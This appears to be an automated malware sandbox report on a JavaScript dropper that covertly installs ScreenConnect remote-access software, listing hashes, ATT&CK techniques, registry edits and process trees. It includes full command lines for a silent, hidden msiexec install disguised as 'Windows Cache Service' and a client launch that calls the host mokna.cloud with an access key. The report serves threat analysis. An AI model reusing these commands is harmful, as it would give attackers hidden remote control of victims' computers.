1918c63a13345760683f14670b72c62c6262cbb4d37d119fb38580d8a7a0b30c

Analysis

max time kernel
148s
max time network
139s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/10/2026, 18:28

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General

Target
Docs-20261022143419021.js
Size 3.1MB
Sample261022-w4d18abc34
SHA256 1918c63a13345760683f14670b72c62c6262cbb4d37d119fb38580d8a7a0b30c
MD5 4efee541d592b2ef0054cf0b34092aa9
SHA1 aced681ed8082168b565aab1b17961efe5bb6235
SHA512 2472cc16ad8b6217c19315db01f02d5e309eda0696a2b46750fb26d8c91424e20291472538288ae9daa1c7870ccd8fa54f7e46597dada6795982125f158761d0
SSDEEP 49152:hLLELcnsUUhMYrPluGn5Xx5Fbp/iriv9TShxTN8Xlil9:3
TLSH
T168E533825F367CAA432C933471AB2E2DA7E00DD1549CD5E7D2F8A8CB87AF741051FA58
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery execution

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
2504	ScreenConnect.ClientService.exe
6112	ScreenConnect.WindowsClient.exe
6076	ScreenConnect.WindowsClient.exe

Loads dropped DLL 25 IoCs

pid	Process
2672	MsiExec.exe
5316	rundll32.exe
5316	rundll32.exe
5316	rundll32.exe
5316	rundll32.exe
5316	rundll32.exe
5316	rundll32.exe
5316	rundll32.exe
2672	MsiExec.exe
2672	MsiExec.exe
2672	MsiExec.exe
4328	MsiExec.exe
4328	MsiExec.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe

Drops file in Windows directory 25 IoCs

description	ioc	Process
File created	C:\Windows\Installer\wix{BC704332-B61A-4800-95E0-49BE795C9375}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSI4879.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI4879.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF39D27EA071E76339.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8C64A471285DF0C7.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4D2E.tmp	msiexec.exe
File created	C:\Windows\Installer\e5945fc.msi	msiexec.exe
File created	C:\Windows\Installer\{BC704332-B61A-4800-95E0-49BE795C9375}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e5945f8.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4879.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI4879.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4D1D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4DFB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4F64.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4879.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{BC704332-B61A-4800-95E0-49BE795C9375}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4F06.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{BC704332-B61A-4800-95E0-49BE795C9375}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF0A1CC35875FAA268.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1340D63841589F94.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e5945f8.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4DBC.tmp	msiexec.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe

Modifies registry class 32 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\233407CBA16B0084590E94EB97C53957\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\ProductName = "Windows Cache Service"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\PackageCode = "ADBB4999ED3E55641AE28A13B1F23430"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\Version = "336266244"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command\ = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\c4f8a2e19b3d\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\ProductIcon = "C:\\Windows\\Installer\\{BC704332-B61A-4800-95E0-49BE795C9375}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2\233407CBA16B0084590E94EB97C53957	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\233407CBA16B0084590E94EB97C53957	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\233407CBA16B0084590E94EB97C53957\Clients = 3a0000000000	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2468	msiexec.exe
2468	msiexec.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe
2504	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	696	msiexec.exe
Token: SeIncreaseQuotaPrivilege	696	msiexec.exe
Token: SeSecurityPrivilege	2468	msiexec.exe
Token: SeCreateTokenPrivilege	696	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	696	msiexec.exe
Token: SeLockMemoryPrivilege	696	msiexec.exe
Token: SeIncreaseQuotaPrivilege	696	msiexec.exe
Token: SeMachineAccountPrivilege	696	msiexec.exe
Token: SeTcbPrivilege	696	msiexec.exe
Token: SeSecurityPrivilege	696	msiexec.exe
Token: SeTakeOwnershipPrivilege	696	msiexec.exe
Token: SeLoadDriverPrivilege	696	msiexec.exe
Token: SeSystemProfilePrivilege	696	msiexec.exe
Token: SeSystemtimePrivilege	696	msiexec.exe
Token: SeProfSingleProcessPrivilege	696	msiexec.exe
Token: SeIncBasePriorityPrivilege	696	msiexec.exe
Token: SeCreatePagefilePrivilege	696	msiexec.exe
Token: SeCreatePermanentPrivilege	696	msiexec.exe
Token: SeBackupPrivilege	696	msiexec.exe
Token: SeRestorePrivilege	696	msiexec.exe
Token: SeShutdownPrivilege	696	msiexec.exe
Token: SeDebugPrivilege	696	msiexec.exe
Token: SeAuditPrivilege	696	msiexec.exe
Token: SeSystemEnvironmentPrivilege	696	msiexec.exe
Token: SeChangeNotifyPrivilege	696	msiexec.exe
Token: SeRemoteShutdownPrivilege	696	msiexec.exe
Token: SeUndockPrivilege	696	msiexec.exe
Token: SeSyncAgentPrivilege	696	msiexec.exe
Token: SeEnableDelegationPrivilege	696	msiexec.exe
Token: SeManageVolumePrivilege	696	msiexec.exe
Token: SeImpersonatePrivilege	696	msiexec.exe
Token: SeCreateGlobalPrivilege	696	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeShutdownPrivilege	4328	MsiExec.exe
Token: SeDebugPrivilege	2504	ScreenConnect.ClientService.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe
Token: SeRestorePrivilege	2468	msiexec.exe
Token: SeTakeOwnershipPrivilege	2468	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
696	msiexec.exe
2468	msiexec.exe
2672	MsiExec.exe
4328	MsiExec.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4080 wrote to memory of 696	4080	wscript.exe	90
PID 2468 wrote to memory of 2672	2468	msiexec.exe	92
PID 2672 wrote to memory of 5316	2672	MsiExec.exe	93
PID 2468 wrote to memory of 4328	2468	msiexec.exe	94
PID 2504 wrote to memory of 6112	2504	ScreenConnect.ClientService.exe	97
PID 2504 wrote to memory of 6076	2504	ScreenConnect.ClientService.exe	98

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Docs-20261022143419021.js
1⤵
- Suspicious use of WriteProcessMemory
PID:4080
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart ARPSYSTEMCOMPONENT=1 ARPNOREMOVE=1 ARPNOMODIFY=1 ARPNOREPAIR=1 ALLUSERS=1 INSTALLLOCATION="C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d" PROGRAMDATALOCATION="C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Data"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:696

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9E3CA171BD1FF10BE74191C61996A7CB
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI4879.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240732484 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:5316
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2EE14513EEDED3D44319B2F7A8685C9C E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4328

C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe
C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=mokna.cloud&p=8041&s=3e15d083-4d81-428f-aba4-a74bf4716adc&k=BgIAAACkAABSU0ExAAgAAAEAAQCNxZL3tg1sOj784pJI%2fDjJndvmtBu0S1bSLvxJJblA5QrsTjN6qKwRFIIrRCRPXbw9DUWtT3Mf9z9SOtMv1jfKpQIKOX0lQZ%2b6cjlHtKp3vUtCypslW%2fxzKgnq%2bPd%2fZUDAXmEH%2byWifRPUK7cZIJ%2f2Kek2HVYG2RFDmW9ICImBHCpFMdRXV5vSsvbseRT1czW4v1KZAopL%2b3wGZsFlPeofLR%2fcuO27F%2bu8%2fSkBzUU2ojCPloPIcid84hL6nTjFSEw5IRseAESnrUkw8etdlmdJsvHpg8LrI0OaHzV7FTkDecXKyjy4NUWxmYn8wGHxuiQXhhv7FmY73E0HSvelEvLm&t=&c=&c=&c=&c=&c=&c=&c=&c="
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2504
- C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe
  "C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe" "RunRole" "277db643-d337-4a7b-ada7-47dff4e15615" "User"
  2⤵
  - Executes dropped EXE
  PID:6112
- C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe
  "C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe" "RunRole" "8f1c7fd3-e393-45bf-bcfb-36d526f85e32" "System"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:6076

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

e5945fb.rbs

Path C:\Config.Msi\e5945fb.rbs
Size 212KB
SHA256 ea51ffab126395b54e2785f687499dd4e9d54ad619891c7217ab44b0b8990b51
MD5 17ace13bf223afc32f3bf3fe092a4d61
SHA1 0a61e8e6cda37f0f9c460f5ec00ca5e5141b4a4a
SHA512 aedfcc644af7515715c35145b6e47603ffc87e1dbf3bbb54689da7070c8a41d9db1372dcfe79276cb75ff69ec086ed84e21d5d23b75ed0eb8070e2d8312c8dbb
SSDEEP 3072:+9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG6:+uH2aCGw1ST1wQLdqv6
TLSH
T14C248C216494807EE7FA1A32D93F9671BE7DF6280760C99EC3848C1E5D604C06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

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Client.en-US.resources

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.en-US.resources
Size 39KB
SHA256 0e4483d6208193a4f617ba7f0689cd752cfad31075a2af446495de6f3dbf413e
MD5 c2a8561df1ebaa2f78f104f3d7c79b0b
SHA1 51ded1bddf9dd6daa029b4de00c1f73f86cf4c2b
SHA512 0d6d78b771ae4b776386bfcb097f0b32a0b821e3b7ad4d50fa91b95d58c72678c7f00d14076f966b5b4fd3c81c9e8e1193e5a15fb0083deb7172a8f948c8214d
SSDEEP 768:BDin/KbQL0OSu1n5dztchHgvv8Vcx8FEW93wTL0h/KV1ZvM8ZErWIrU:tincQQOd1n55GhHgvv8Vcx8FEW93wTL/
TLSH
T141030E1277FD0A58F5F36F05BE7A94619D37BD5A2E25C06E1028415E1AB2F80CAB2373
MD5 SHA1 SHA512 SSDEEP TLSH

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Client.resources

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.resources
Size 2KB
SHA256 4dde6213a915d8969789dd1a3775fa8a744559c5c4d6d3e19265ac0a00e69ab3
MD5 58d5bd148866b545ff787eb429030c39
SHA1 1c2f15c712c7276c7a0a902dda4cda69261688a6
SHA512 f7ee8df755fb322d53d76fd201da87a209c1c5714961750b3ed0ffe542e4fea9a1cfa001fe90e70512f9b9e13b0bd536f1064ee1d681b0e58f5c62a1c6b182f6
TLSH
T1AC4110DA3BFA2C70F4779B736EB99060EE35FE1C3566C16E1002441E6B213099980B73
MD5 SHA1 SHA512 TLSH

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ScreenConnect.Client.dll

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.Client.dll
Size 153KB
SHA256 91ef17033e63abfd3769e3264f9b9999c03e8c1cbf9a935529ba588eecb1a1ee
MD5 e5a9cedfca2f0071e26610e7a505cc4f
SHA1 3f845a06d02a712707b503223ef69a72de655fd1
SHA512 f9e81278b94964103e0b65ea8f781bc5f1d7e1501ee98032ab7aff69cbbbc271d323d6900b61007fddbc6242cef07dcc64342c178be8a38313df673ea8068b6c
SSDEEP 3072:JsURiZnZrKR91EFocIgglCfUKMrz6D2Na5DOoABi87fJ6fRM:JsjIjcyoD2cDgM878
TLSH
T1ABE39EBB63A45D79C58F8A37B06201309FB196416233F75F5A24F8FA6D237C046582E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.dll
Size 32KB
SHA256 ea2d01e8a1f0bce68d71887aa6a0e822179c2cc599c340a87ef4043cb47f8878
MD5 2ab89617eac8dddf0af371d30f813937
SHA1 7eb3b9afa84e85798f6b688560f371431e273821
SHA512 cb9b263ef129eb13e13ed0b13c46baa13733dd6da3a3aa2d35eb0635953a89a516707586d0c0ffc5d3410defcc8c2b11af3a8e93bf063ec6163d679fb6c0f106
SSDEEP 768:HFiY04W7D3ZsvFBDX5qxlNigvt6Ex9x2yCOb/:lupstBbYlsAt6EcJOb/
TLSH
T15FE2294553B84B32C4EE4B7CB866B14407B09E826562F69C8EC9E0DF1E673814E457EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe
Size 88KB
SHA256 f1d3120597b8f1115f7bd5cd7110be8baca7b350a785774411ed2c265bce363e
MD5 5b9410ffcc24eb553593da53c3c8c77f
SHA1 df1cd2b628ac44d41584727f32473cc06f93e271
SHA512 402de2ec3704e936122f7d789f11a49f5cefbc08959b08c0789f07dd5ad5cb0d912882674d6675a6d515f0e2976eaa43f28c050a0808f04a11c0a109861bcea4
SSDEEP 1536:TVnKQbrt7pdnNmhno7GcqbksWjcdLyXN4WAitMw8NP8:T8wt7TvmbLLyXOWAitMW
TLSH
T196939E22B6D19432E5B3063258B8DE410B7EFE278F7199977788024E5A742C09F39B77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 840629f95a1ce86843bda5222f852b589fb206cb4ecf33c7cd074207a2d5f23c
MD5 0b55f9a8ccff2a90bd1a042f963ac19a
SHA1 19beb65c14ee627b14b2c0144ab066a7c4ec5d79
SHA512 5c7c9bb901f44e6894657b0bbe1bf28fd929aad1d364edfa782ac7544236af2e663a6d41620fc0c537dd69aaf3f23a5f4b864350f90bc95c1a73eb5c392f21a9
SSDEEP 24576:nEl2drimVsJq2l6TOKoMjSvShvU86+RfmT01krTFiH4SqfKPTsUTHEWEZfM14wCK:nEii963PSumT0+TFiH7efPp3Z0
TLSH
T15B85AE42F2D211F5D4AB443888BE571BEB747C090360CBAF97D46E666E337D09A3A352
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

